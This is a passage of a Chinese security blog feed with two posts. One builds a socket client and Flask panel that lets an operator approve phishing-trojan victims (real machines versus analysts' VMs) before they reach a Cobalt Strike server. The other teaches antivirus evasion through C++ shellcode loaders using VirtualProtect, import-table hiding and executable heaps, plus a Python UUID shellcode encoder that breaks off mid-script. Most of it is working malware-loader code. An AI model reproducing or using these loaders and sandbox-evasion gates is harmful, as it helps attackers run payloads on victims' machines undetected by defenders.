SOCKET_ERROR) {</span><br><span class="line"> cout << <span class="string">"send failed: "</span> << <span class="built_in">WSAGetLastError</span>() << endl;</span><br><span class="line"> <span class="built_in">closesocket</span>(ConnectSocket);</span><br><span class="line"> <span class="built_in">WSACleanup</span>();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 接收服务端返回的数据</span></span><br><span class="line"><span class="type">char</span> recvData[<span class="number">1024</span>] = { <span class="number">0</span> };</span><br><span class="line">iResult = <span class="built_in">recv</span>(ConnectSocket, recvData, <span class="built_in">sizeof</span>(recvData), <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (iResult > <span class="number">0</span>) {</span><br><span class="line"> cout << <span class="string">"Received: "</span> << recvData[<span class="number">0</span>] << endl;</span><br><span class="line"> <span class="keyword">if</span> (recvData[<span class="number">0</span>] == <span class="string">'1'</span>) {</span><br><span class="line"> cout << <span class="string">"服务端准许接入"</span> << endl;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> cout << <span class="string">"服务端不准许接入"</span> << endl;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (iResult == <span class="number">0</span>) {</span><br><span class="line"> cout << <span class="string">"Connection closed"</span> << endl;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> {</span><br><span class="line"> cout << <span class="string">"recv failed: "</span> << <span class="built_in">WSAGetLastError</span>() << endl;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 关闭socket连接</span></span><br><span class="line"><span class="built_in">closesocket</span>(ConnectSocket);</span><br><span class="line"><span class="built_in">WSACleanup</span>();</span><br></pre></td></tr></table></figure><p>上述代码会通过socket连接到192.168.200.225的9999端口,发送<code>sendData</code>,并等待返回数据,如果返回1则输出“服务端准许接入”,返回0则输出“服务端不准许接入”</p><h2 id="socket服务端">socket服务端</h2><p>服务端用python来写,通过<code>socketserver</code>这个包来处理多个客户端的连接请求。</p><p>首先定义一个<code>socket_server_start</code>方法来监听<code>socket请求</code>,当连接建立以后将会调用<code>MyTCPHandler类</code>的<code>handle</code>方法。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">socket_server_start</span>():</span><br><span class="line"> HOST, PORT = <span class="string">"192.168.200.225"</span>, <span class="number">9999</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'server start listen on '</span>+PORT)</span><br><span class="line"> <span class="keyword">with</span> socketserver.ThreadingTCPServer((HOST, PORT), MyTCPHandler) <span class="keyword">as</span> server:</span><br><span class="line"> server.serve_forever()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyTCPHandler</span>(socketserver.BaseRequestHandler):</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">handle</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'Server is listening on {}:{}'</span>.<span class="built_in">format</span>(self.client_address[<span class="number">0</span>], self.client_address[<span class="number">1</span>]))</span><br><span class="line"> data = self.request.recv(<span class="number">1024</span>).strip().decode()</span><br><span class="line"> memory,core = data.split(<span class="string">","</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"内存大小为:{}MB,处理器数量为:{}"</span>.<span class="built_in">format</span>(memory,core))</span><br></pre></td></tr></table></figure><p>在获取到计算机硬件信息后,将信息存储到一个列表里,通过flask创建一个路由用来返回json格式的数据,再在前端通过fetch来获取数据并显示出来</p><h2 id="显示数据">显示数据</h2><p>通过displayBox函数将收到的数据显示出来</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">displayBox</span>(<span class="params">time,ip, memory, core</span>) {</span><br><span class="line"> <span class="keyword">var</span> container = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">"container"</span>);</span><br><span class="line"> <span class="keyword">var</span> content = <span class="string">"连接时间为:"</span>+time+<span class="string">"<br>IP地址为:"</span> + ip + <span class="string">"<br>内存大小为:"</span> + memory + <span class="string">"MB<br>处理器数量为:"</span> + core + <span class="string">"个<div><button class = 'button' onclick='AllowFunction(\""</span> + ip + <span class="string">"\", 1)'>允许</button><button class = 'button' onclick='AllowFunction(\""</span> + ip + <span class="string">"\", 0)' >拒绝</button></div>"</span>;</span><br><span class="line"> <span class="keyword">var</span> box = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">"div"</span>);</span><br><span class="line"> box.<span class="property">className</span> = <span class="string">"red-box"</span>;</span><br><span class="line"> box.<span class="property">innerHTML</span> = content;</span><br><span class="line"> container.<span class="title function_">appendChild</span>(box);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="“允许”或“拒绝”">“允许”或“拒绝”</h2><p>在上述函数中,点击“允许”调用<code>AllowFunction(ip,1)</code>,点击拒绝则调用<code>AllowFunction(ip,0)</code></p><p>通过AllowFunction函数向flask服务器发起一个请求来修改对应ip的准接入结果</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">function</span> <span class="title function_">AllowFunction</span>(<span class="params">ip, isallow</span>){</span><br><span class="line"><span class="comment">// 构建请求的 URL</span></span><br><span class="line"> <span class="keyword">const</span> url = host+<span class="string">`change?ip=<span class="subst">${ip}</span>&isallow=<span class="subst">${isallow}</span>`</span>;</span><br><span class="line"> <span class="comment">// 发起 GET 请求</span></span><br><span class="line"> <span class="title function_">fetch</span>(url)</span><br><span class="line"> .<span class="title function_">then</span>(<span class="function"><span class="params">response</span> =></span> {</span><br><span class="line"> <span class="keyword">if</span> (response.<span class="property">ok</span>) {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">"请求成功"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">"请求失败"</span>);</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"> .<span class="title function_">catch</span>(<span class="function"><span class="params">error</span> =></span> {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">"请求发生错误"</span>, error);</span><br><span class="line"> });</span><br></pre></td></tr></table></figure><p>最后回到socket服务端,将修改后的结果返回给socket客户端</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">self.request.sendall(<span class="built_in">str</span>(cmps[i][<span class="string">"isallow"</span>]).encode())</span><br></pre></td></tr></table></figure><h1 id="效果">效果</h1><p><img src="image-20230702154823650.png" alt="image-20230702154823650"></p><p>第一个是真机,第二个是虚拟机<img src="image-20230702164949851.png" alt="image-20230702164949851"></p><h1 id="升级">升级</h1><p>通过准接入系统可以做的事情还有很多,可以试着携带更多的信息来帮助我们判断是真机还是虚拟机,同时也可以将shellcode放到服务器,允许接入后将shellocde返回给客户端并加载。</p>]]></content>
<summary type="html"><h1 id="目标">目标</h1>
<p>教育护网的时候出现了钓鱼的木马样本被安全人员分析导致cs服务器的ip被封的情况,就想着写一个简单的<code>准接入控制平台</code>,来控制肉鸡是否允许连接至cs服务器。</p>
<p>理想效果是:<strong>点击木马以后,</summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="准入" scheme="http://example.com/tags/%E5%87%86%E5%85%A5/"/>
</entry>
<entry>
<title>恶意代码逃逸学习</title>
<link href="http://example.com/post/2023/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E9%80%83%E9%80%B8%E5%AD%A6%E4%B9%A0/"/>
<id>http://example.com/post/2023/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E9%80%83%E9%80%B8%E5%AD%A6%E4%B9%A0/</id>
<published>2023-06-15T06:55:30.000Z</published>
<updated>2023-06-15T15:25:43.461Z</updated>
<content type="html"><![CDATA[<p>在渗透的过程中会经常遇到对方机器安装了杀软的情况,这时就需要用到免杀技术,之前钓鱼邮件中提到的免杀是用GO写的,但我觉得这种东西还是更靠近计算机底层为好,正好这几天看了<a href="https://payloads.online">倾旋大佬的博客</a>,对于用c++来实现恶意代码逃逸学到了很多,特此记录</p><h1 id="简单的加载shellcode">简单的加载shellcode</h1><p>首先我们要让cobalt strike生成的shellcode运行起来一共就三个步骤</p><ol><li>申请计算机内存</li><li>将shellcode加载进内存</li><li>执行这一段内存</li></ol><p>上面三个步骤对应的代码为:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><Windows.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="comment">/* length: 891 bytes */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> buf[] = <span class="string">"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="type">int</span> size = <span class="built_in">sizeof</span>(buf);</span><br><span class="line"> <span class="comment">//申请计算机内存</span></span><br><span class="line">LPVOID exec = <span class="built_in">VirtualAlloc</span>(<span class="number">0</span>, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span><br><span class="line"> <span class="comment">//将shellcode加载进内存</span></span><br><span class="line"><span class="built_in">RtlMoveMemory</span>(exec, buf, size);</span><br><span class="line"> <span class="comment">//执行这一段内存</span></span><br><span class="line">((<span class="built_in">void</span>(*)())exec)();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>将以上代码生成的exe直接运行就可以上线CS了,但如果有杀软的话就会直接报毒</p><p><img src="image-20230615154428359.png" alt="image-20230615154428359"></p><p>针对这一情况,我们将采取一系列的措施来绕过</p><h1 id="免杀操作">免杀操作</h1><h2 id="申请可读写内存页">申请可读写内存页</h2><p>杀软对于<code>可执行内存页</code>的申请监控是非常严格的,所以我们可以先申请一个普通的<code>可读写内存页</code>,再通过VirtualProtect改变它的属性为可执行,代码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><Windows.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="comment">/* length: 891 bytes */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> buf[] = <span class="string">"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">//内存保护属性</span></span><br><span class="line">DWORD oldProtect;</span><br><span class="line"><span class="type">int</span> size = <span class="built_in">sizeof</span>(buf);</span><br><span class="line"> <span class="comment">//申请普通的可读写的内存页</span></span><br><span class="line">LPVOID exec = <span class="built_in">VirtualAlloc</span>(<span class="number">0</span>, size, MEM_COMMIT, PAGE_READWRITE);</span><br><span class="line"><span class="built_in">RtlMoveMemory</span>(exec, buf, size);</span><br><span class="line"> <span class="comment">//改变为可执行</span></span><br><span class="line"><span class="built_in">VirtualProtect</span>(exec, size, PAGE_EXECUTE, &oldProtect);</span><br><span class="line">((<span class="built_in">void</span>(*)())exec)();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="修改导入地址表">修改导入地址表</h2><p>在Windows操作系统中,当可执行文件或动态链接库(DLL)被加载时,系统需要知道它们所依赖的其他DLL中的函数的地址。这些地址被存储在<code>导入地址表</code>(Import Address Table,简称IAT)中。IAT是一个由系统自动创建和维护的数据结构,它包含了导入模块中所有需要从其他模块中引用的函数的地址。</p><p>当一个模块被加载时,系统会根据该模块的导入描述符中的信息,为IAT中的每个导入函数填充正确的地址。这个过程被称为导入解析。如果一个模块依赖的DLL没有被加载,或者被加载但是没有导出所需的函数,导入解析就会失败,并且模块无法正常工作。</p><p>我们可以通过<code>peview</code>来查看导入表</p><p><img src="image-20230615162118302.png" alt="image-20230615162118302"></p><p>而杀软针对导入表也有自己的判断逻辑,当发现了<code>VirtualAlloc</code>、<code>VirtualProtect</code>等敏感函数在导入表中时,会判断该文件为高危文件</p><p>我们可以使用<code>GetProcAddress</code>函数来获取函数地址</p><p><code>GetProcAddress</code>是Windows API中的一个函数,它用于从动态链接库(DLL)中获取一个导出函数的地址。在Windows操作系统中,动态链接库是一种常见的代码共享机制,许多应用程序和系统组件都依赖于DLL中的函数。<code>GetProcAddress</code>函数可以让程序在运行时动态地链接到DLL中的函数,而不必在编译时将DLL中的函数链接到程序中。</p><p><code>GetProcAddress</code>函数的原型如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">FARPROC GetProcAddress(</span><br><span class="line"> HMODULE hModule, // DLL模块句柄</span><br><span class="line"> LPCSTR lpProcName // 导出函数名</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>其中,<code>hModule</code>参数是DLL模块的句柄,可以使用<code>GetModuleHandle</code>函数加载DLL并获取该句柄;<code>lpProcName</code>参数是导出函数的名称,可以是一个字符指针,也可以是一个整数值,用于表示函数的序号。</p><p>首先是VirtualAlloc方法:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 声明指向 VirtualAlloc 函数的指针</span></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">LPVOID</span><span class="params">(WINAPI* LPVirtualAlloc)</span><span class="params">(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 初始化指针</span></span><br><span class="line">LPVirtualAlloc myVirtualAlloc = (LPVirtualAlloc)<span class="built_in">GetProcAddress</span>(<span class="built_in">GetModuleHandle</span>(<span class="string">"kernel32.dll"</span>), <span class="string">"VirtualAlloc"</span>);</span><br></pre></td></tr></table></figure><p>同理VirtualProtect方法:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 声明指向 VirtualProtect 函数的指针</span></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">BOOL</span><span class="params">(WINAPI* LPVirtualProtect)</span><span class="params">(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 初始化指针</span></span><br><span class="line">LPVirtualProtect myVirtualProtect = (LPVirtualProtect)<span class="built_in">GetProcAddress</span>(<span class="built_in">GetModuleHandle</span>(<span class="string">"kernel32.dll"</span>), <span class="string">"VirtualProtect"</span>);</span><br></pre></td></tr></table></figure><p>故代码转变为:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><Windows.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="comment">/* length: 891 bytes */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> buf[] = <span class="string">"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">LPVOID</span><span class="params">(WINAPI* LPVirtualAlloc)</span><span class="params">(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">BOOL</span><span class="params">(WINAPI* LPVirtualProtect)</span><span class="params">(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line">DWORD oldProtect;</span><br><span class="line">LPVirtualAlloc myVirtualAlloc = (LPVirtualAlloc)<span class="built_in">GetProcAddress</span>(<span class="built_in">GetModuleHandle</span>(<span class="built_in">TEXT</span>(<span class="string">"kernel32.dll"</span>)), <span class="string">"VirtualAlloc"</span>);</span><br><span class="line">LPVirtualProtect myVirtualProtect = (LPVirtualProtect)<span class="built_in">GetProcAddress</span>(<span class="built_in">GetModuleHandle</span>(<span class="built_in">TEXT</span>(<span class="string">"kernel32.dll"</span>)), <span class="string">"VirtualProtect"</span>);</span><br><span class="line"><span class="type">int</span> size = <span class="built_in">sizeof</span>(buf);</span><br><span class="line">LPVOID exec = <span class="built_in">myVirtualAlloc</span>(<span class="number">0</span>, size, MEM_COMMIT, PAGE_READWRITE);</span><br><span class="line"><span class="built_in">RtlMoveMemory</span>(exec, buf, size);</span><br><span class="line"><span class="built_in">myVirtualProtect</span>(exec, size, PAGE_EXECUTE, &oldProtect);</span><br><span class="line">((<span class="built_in">void</span>(*)())exec)();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>此时用<code>peveiw</code>查看导入表发现已经不见<code>VirtualAlloc</code>和<code>VirtualProtect</code>了</p><p><img src="image-20230615191736134.png" alt="image-20230615191736134"></p><p>虽然导入表中已经没有<code>VirtualAlloc</code>了,但依赖于其他技术,杀软还是能检测到代码中使用了<code>VirtualAlloc</code>,也依旧还是会报毒</p><h2 id="利用HeapCreate替代VirtualAlloc">利用HeapCreate替代VirtualAlloc</h2><p><code>HeapCreate</code> 是 Windows API 中的一个函数,用于创建一个新的堆。函数原型如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">HANDLE <span class="title">HeapCreate</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function"> DWORD flOptions,</span></span></span><br><span class="line"><span class="params"><span class="function"> SIZE_T dwInitialSize,</span></span></span><br><span class="line"><span class="params"><span class="function"> SIZE_T dwMaximumSize</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p>参数说明:</p><ul><li><code>flOptions</code>:是一个控制堆的标志位,可以是 <code>HEAP_GENERATE_EXCEPTIONS</code>、<code>HEAP_NO_SERIALIZE</code>、<code>HEAP_ZERO_MEMORY</code> 或它们的组合。</li><li><code>dwInitialSize</code>:指定堆的初始大小,单位为字节。</li><li><code>dwMaximumSize</code>:指定堆的最大大小,如果为 0,则表示堆的大小没有限制。</li></ul><p>则原来的<code>LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</code>可以用以下代码替代:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建一个堆,设置 HEAP_CREATE_ENABLE_EXECUTE 和 HEAP_ZERO_MEMORY 标志位</span></span><br><span class="line">HANDLE hHeap = <span class="built_in">HeapCreate</span>(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, <span class="number">0</span>, size);</span><br><span class="line"><span class="comment">// 在堆中分配内存,并将 shellcode 拷贝到分配的内存中</span></span><br><span class="line">PVOID exec = <span class="built_in">HeapAlloc</span>(hHeap, <span class="number">0</span>, <span class="built_in">sizeof</span>(buf));</span><br></pre></td></tr></table></figure><p>故整体代码为:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><Windows.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="comment">/* length: 891 bytes */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> buf[] = <span class="string">"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="type">int</span> size = <span class="built_in">sizeof</span>(buf);</span><br><span class="line"><span class="comment">// 创建一个堆,设置 HEAP_CREATE_ENABLE_EXECUTE 和 HEAP_ZERO_MEMORY 标志位</span></span><br><span class="line">HANDLE hHeap = <span class="built_in">HeapCreate</span>(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, <span class="number">0</span>, size);</span><br><span class="line"><span class="comment">// 在堆中分配内存,并将 shellcode 拷贝到分配的内存中</span></span><br><span class="line">PVOID exec = <span class="built_in">HeapAlloc</span>(hHeap, <span class="number">0</span>, size);</span><br><span class="line"><span class="built_in">RtlMoveMemory</span>(exec, buf, size);</span><br><span class="line">((<span class="built_in">void</span>(*)())exec)();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用<code>HeapCreate</code>可以躲避杀软对于<code>VirtualAlloc</code>的”追杀“</p><p>但这样的exe还是会被杀,因为buf中的静态shellcode太明显了,我们需要对shellcode进行加密</p><h2 id="shellcode加密">shellcode加密</h2><p>要说起shellcode加密方法,那可太多了,之前钓鱼用的<code>异或+base64</code>可以尝试,同时倾旋大佬提到的<code>UUID编码</code>也是一个不错的方法</p><p><code>UUID (通用唯一标识符) </code>是一个用于标识信息的 128 位数字,它可以保证在分布式计算环境中的唯一性。在 C/C++ 中,UUID 结构体通常被定义为一个包含 16 个字节的无符号字符数组,可以使用 Windows API 函数来生成 UUID 或将字符串转换为 UUID。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// UUID 结构体</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_UUID</span> {</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">char</span> Data[<span class="number">16</span>];</span><br><span class="line">} UUID;</span><br></pre></td></tr></table></figure><p>在 Windows 操作系统中,可以使用命令行工具 <code>wmic</code> 来查看系统的 UUID,命令为 <code>wmic csproduct get UUID</code>。</p><p><img src="image-20230615205238426.png" alt="image-20230615205238426"></p><p>我们可以使用python加密脚本来将生成的bin文件进行uuid加密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> uuid <span class="keyword">import</span> UUID <span class="comment"># 导入 Python 内置的 UUID 类</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment"># Usage: python3 binToUUIDs.py shellcode.bin [--print]</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"""</span></span><br><span class="line"><span class="string"> ____ _ _______ _ _ _ _ _____ _____ </span></span><br><span class="line"><span class="string"> | _ \(_) |__ __| | | | | | | |_ _| __ \ </span></span><br><span class="line"><span class="string"> | |_) |_ _ __ | | ___ | | | | | | | | | | | | |___ </span></span><br><span class="line"><span class="string"> | _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __| </span></span><br><span class="line"><span class="string"> | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ </span></span><br><span class="line"><span class="string"> |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/</span></span><br><span class="line"><span class="string">\n"""</span>)</span><br><span class="line"><span class="comment"># 打印程序标题,使用了 ASCII 艺术字</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(sys.argv[<span class="number">1</span>], <span class="string">"rb"</span>) <span class="keyword">as</span> f: <span class="comment"># 打开二进制文件,以二进制模式读取</span></span><br><span class="line"> <span class="built_in">bin</span> = f.read() <span class="comment"># 读取文件内容</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) > <span class="number">2</span> <span class="keyword">and</span> sys.argv[<span class="number">2</span>] == <span class="string">"--print"</span>:</span><br><span class="line"> outputMapping = <span class="literal">True</span> <span class="comment"># 如果命令行参数中有 "--print",则输出转换前后的映射关系</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> outputMapping = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">offset = <span class="number">0</span> <span class="comment"># 偏移量初始化为 0</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"Length of shellcode: {} bytes\n"</span>.<span class="built_in">format</span>(<span class="built_in">len</span>(<span class="built_in">bin</span>))) <span class="comment"># 打印 shellcode 的长度</span></span><br><span class="line"></span><br><span class="line">out = <span class="string">""</span> <span class="comment"># 初始化输出字符串</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(offset < <span class="built_in">len</span>(<span class="built_in">bin</span>)): <span class="comment"># 遍历 shellcode 中的每 16 个字节</span></span><br><span class="line"> countOfBytesToConvert = <span class="built_in">len</span>(<span class="built_in">bin</span>[offset:]) <span class="comment"># 